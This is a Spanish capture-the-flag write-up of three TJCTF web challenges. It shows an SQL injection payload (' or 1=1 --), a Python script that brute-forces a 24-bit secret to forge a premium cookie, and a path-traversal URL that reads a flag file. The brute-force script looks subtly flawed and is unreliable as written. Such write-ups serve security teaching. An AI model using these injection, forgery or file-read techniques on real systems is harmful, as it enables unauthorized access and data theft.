Web Challenges - Parte 1
#hi
Author: kpdfgo
Comenzamos con una pantalla algo psicodélica donde en principio no se ve absolutamente nada

A priori no se ve absolutamente nada, asi que vamos al código fuente de la página y de momento vemos algo que llama la atención…

Como se puede ver hay una imagen llamada secret-b888c3f2.svg, la abrimos y vemos que ya tenemos la flag:
#swill-squill
Author: stosp

Comenzamos descargando el código proporcionado y lo analizo, rápidamente vemos que se ejecuta una consulta SQL concatenando valores que enviamos nosotros, con lo que ya tenemos el vector de entrada…el método register
@app.route('/register', methods=['POST'])
def post_register():
name = request.form['name']
grade = request.form['grade']
if name == 'admin':
return make_response(redirect('/'))
res = make_response(redirect('/api'))
res.set_cookie("jwt_auth", generate_token(name))
c = conn.cursor()
c.execute("SELECT * FROM users WHERE name == '"+name+"';")
if c.fetchall():
return res
c = conn.cursor()
c.execute('INSERT INTO users VALUES (?, ?)',
(name, grade))
conn.commit()
return res
El único control que hay es que el usuario con el que nos registremos no sea admin, decir también que probé a registrarme con ese usuario ya que hay una función de inicialización de la base de datos donde inserta las notas del usuario admin y en uno de los registros está la flag…
def create_db():
conn = sqlite3.connect(':memory:')
c = conn.cursor()
c.execute(
'CREATE TABLE users (name text, grade text)')
c.execute(
'CREATE TABLE notes (description text, owner text)')
c.execute('INSERT INTO users VALUES (?, ?)',
('admin', '12'))
c.execute('INSERT INTO notes VALUES (?, ?)',
('My English class is soooooo hard...', 'admin'))
c.execute('INSERT INTO notes VALUES (?, ?)',
('C- in Calculus LOL', 'admin'))
c.execute('INSERT INTO notes VALUES (?, ?)',
("Saved this flag for safekeeping: "+flag, 'admin'))
conn.commit()
return conn
Si con admin no puedo, sigo con la query formada con un valor que enviamos nosotros desde el front
c.execute("SELECT * FROM users WHERE name == '"+name+"';")
Que típica inyección probamos?
' or 1=1 --
Con lo que nos queda una query como la siguiente:
c.execute("SELECT * FROM users WHERE name == '' or 1=1 --';")
Nos va a devolver lo que name sea cadena vacía o 1=1 que siempre será true, evidentemente nos devolverá todos los valores que haya dentro de la tabla users. El - - se agrega para que lo que siga a esa query lo tome como un comentario y no lo tenga en cuenta.
Al registrarnos con ese nombre de usuario nos lleva a la pantalla donde se guardan las notas y muestra todas las notas del usuario:

#pay-to-win
Author: sToro

Como en casi todos los retos web, tenemos un “login” con el que tenemos que trabajar. Analizamos el código proporcionado y por comentarlo por encima nos centramos en la parte donde se comprueba el tipo de usuario, porque se ve que es la manera de acceder al template de premium. Esto es la primera parte del reto, porque este reto se divide en dos partes o al menos yo la he divido en dos.
if data_hash != actual_hash:
return redirect('/login')
Concretamente este if es el objetivo, hay que buscar la manera de pasar esta validación, aqui lo que se compara son dos hash, uno que enviamos nosotros y que obtenemos como cookie al registrarnos y otro que se genera en cada request.
actual_hash = hash(data + users[payload['username']])
- data es un objeto donde está el usuario y el tipo, esto está codificado en base64.
- users[payload[‘username’]] es un número aleatorio que se genera en el registro.
Estas dos cosas se generan en el registro y en cada request. Por defecto el objeto de usuario va hardcodeado con “basic”, entoces tenemos que cambiar esa propiedad y luego generar el hash del objeto en base64 + el número aleatorio para que el if donde se comprueba el hash sea true y no entre en el return.
Un vez localizado por donde, hay que ver como, asi que vamos a buscar la manera de descubrir ese número aleatorio. Para esto tenemos que ver la parte donde asigna a los usuarios esos números aleatorios.
users[username] = hex(random.getrandbits(24))[2:]
Esto genera un número aleatorio entre 0 a 2^24 - 1 (0 a 16.777.215) jeje si si 16 millones, y tenemos que averiguar uno. La estrategia es coger el hash que tenemos en la cookie y compararlo con el hash obtenido con el mismo usuario pero con el número generado, si si, esos 16 millones hay que probarlo. Este es el script que he utilizado:
from pwn import *
from base64 import b64encode, b64decode
import json
data = {
"username": 'pwned33',
"user_type": "basic"
}
def hash(data):
return hashlib.sha256(bytes(data, 'utf-8')).hexdigest()
hashForCheck ='fdc06b27e95b06843991844a176e6255adb09b70e44dee70eeef74ce23ce2f9e'
numberFound =''
progress = log.progress('Fuerza Bruta ☕️')
for i in range(2**24):
# print(i)
b64data = b64encode(json.dumps(data).encode())
data_hash = hash(b64data.decode() + hex(i)[2:])
progress.status('Comparando hash: ' + str(i) + '/16777216 ('+str(round(i/16777216*100,2))+'%)')
if data_hash == hashForCheck:
numberFound = hex(i)[2:]
break
if numberFound == '':
progress.failure('No se encontró el número')
exit(1)
log.progress('Hash válido: ' + hash(b64encode(json.dumps(data).encode()).decode() + ''))
Una vez obtenido el hash solo nos queda modificar las cookies introducciendo el hash y el objeto del usuario con el tipo encodeado en base64 y tendremos “acceso premium”. Si no solo tendriamos acceso a esta pantalla:

Con las cookies modificadas ya podemos acceder al template premium:

Y hasta aqui la primera parte de este reto, ahora vamos a ver donde encontramos la flag. Para este paso vemos que en el código en el último if donde comprueba el tipo de usuario se lee el fichero donde está el css
if payload['user_type'] == 'premium':
theme_name = request.args.get('theme') or 'static/premium.css'
return render_template('premium.jinja', theme_to_use=open(theme_name).read())
Vamos a aprovechar que ese fichero se accede mediante un parametro de la petición get, este parámetro es el “theme”, si miramos en el código proporcionado donde está flag, observamos que en el docker file mueve la flag a un nuevo directorio creado en la creación del contenedor.
RUN mkdir /secret-flag-dir; mv /app/flag.txt /secret-flag-dir/flag.txt
Al probar los enlaces que hay en la pantalla premium para ver como se forma la URL, se queda tal que así:
https://pay-to-win.tjc.tf/?theme=static/premium.css
Intentamos leer el fichero de la flag con la siguiente URL:
https://pay-to-win.tjc.tf/?theme=/secret-flag-dir/flag.txt
Se queda sin ningún tipo de estilo y eso es porque el css ahora solo contiene la flag.
<!DOCTYPE html>
<html lang="en">
<style>
tjctf{not_random_enough_64831eff}
</style>
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Cool Premium Users Only</title>
</head>
<body>
<p class="title">Welcome to the premium site!</p>
<p></p>
<p>You can now use themes! Try one of these themes below:</p>
<a href="/?theme=static/premium.css">default</a>
<a href="/?theme=static/light_mode.css">light mode</a>
<a href="/?theme=static/garish.css">garish</a>
<p>
Due to supply chain issues, we cannot provide you with a flag... Sorry,
and thanks for supporting this site!
</p>
</body>
</html>